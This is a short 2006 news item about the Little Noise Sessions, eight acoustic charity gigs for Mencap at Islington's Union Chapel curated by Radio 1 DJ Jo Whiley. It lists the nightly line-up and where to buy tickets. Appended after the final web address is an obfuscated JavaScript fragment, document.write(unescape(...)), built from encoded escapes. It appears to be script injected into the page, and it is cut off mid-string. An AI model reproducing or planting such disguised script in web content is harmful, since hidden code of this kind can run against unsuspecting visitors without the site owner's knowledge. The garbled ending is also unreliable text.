Bat For Lashes join stars at Little Noise Sessions

Radio 1 DJ Jo Whiley gets together UK's hottest new acts for eight acoustic gigs in aid of Mencap

Bat For Lashes, The Kooks, Noel Gallagher, Guillemots, Lilly Allen and Amy Winehouse are just some of the highlights of Little Noise Sessions, Acoustic at the Union. The eight acoustic gigs are in aid of UK learning disability charity Mencap.

The gigs are being curated by Radio 1 DJ Jo Whiley who has very personal reasons for supporting Mencap as her sister Frances has a learning disability.

The series of gigs will take place from Sunday 19 November to Monday 27 November 2006 at Islington's Union Chapel. The venue is noted for its ambience and acoustics and has an intimate capacity of 500.

The full line-up * (with more acts still to be announced) is:

Sunday 19 November
KT Tunstall plus special guests

Monday 20 November
The Kooks, Get Cape. Wear Cape. Fly and Plan B

Tuesday 21 November
Paolo Nutini plus very special guests to be announced

Wednesday 22 November
Guillemots, Mystery Jets and Jamie-T

Thursday 23 November
The Fratellis, The View plus special guests

Friday 24 November
Amy Winehouse, MIKA, Bat For Lashes

Sunday 26 November
Noel Gallagher plus special guests

Monday 27 November
James Morrison, The Automatic, Lily Allen

Tickets are available from www.seetickets.com and are from £35 per gig. Further information is available at www.mencapmusic.org.uk.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;